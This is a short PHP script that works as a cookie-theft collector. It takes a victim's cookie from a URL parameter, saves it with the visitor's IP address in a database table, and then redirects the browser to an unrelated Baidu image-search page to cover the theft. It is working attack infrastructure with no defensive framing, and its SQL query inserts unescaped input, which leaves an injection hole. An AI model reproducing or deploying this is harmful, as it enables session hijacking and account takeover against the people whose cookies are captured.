<?php
include_once 'dbinfo.php';

$usercookie = $_GET['usercookie'];
$ip = $_SERVER["REMOTE_ADDR"];



$link = mysqli_connect($dbhost,$dbusername,$dbpassword,$dbname,$dbport);
if(!$link){
    die( "连接失败");
}

$sql = "insert into tb_cookie (cookie,createtime,remoteip) values('$usercookie',now(),'$ip')";


$result = mysqli_query($link,$sql);


mysqli_close($link);

echo "<script>location.href='https://image.baidu.com/search/detail?ct=503316480&z=0&ipn=false&word=%E7%BE%8E%E5%A5%B3%E5%9B%BE%E7%89%87&hs=0&pn=15&spn=0&di=7264239678495129601&pi=0&rn=1&tn=baiduimagedetail&is=0%2C0&ie=utf-8&oe=utf-8&cl=2&lm=-1&cs=4124552644%2C1201873964&os=3751647408%2C3161255093&simid=4124552644%2C1201873964&adpicid=0&lpn=0&ln=30&fr=ala&fm=&sme=&cg=girl&bdtype=0&oriquery=%E7%BE%8E%E5%A5%B3%E5%9B%BE%E7%89%87&objurl=https%3A%2F%2Fup.enterdesk.com%2Fedpic_source%2F5d%2F13%2F34%2F5d13341b975b4400f3bc5dfc8006aab0.jpg&fromurl=ippr_z2C%24qAzdH3FAzdH3Fooo_z%26e3Bjgpj61jfh_z%26e3Bv54AzdH3F15ogs5w1AzdH3Fmd099-nnlll0AzdH3F&gsm=&islist=&querylist=&dyTabStr=MCwzLDEsMiw0LDYsNSw3LDgsOQ%3D%3D'</script>";
?>


	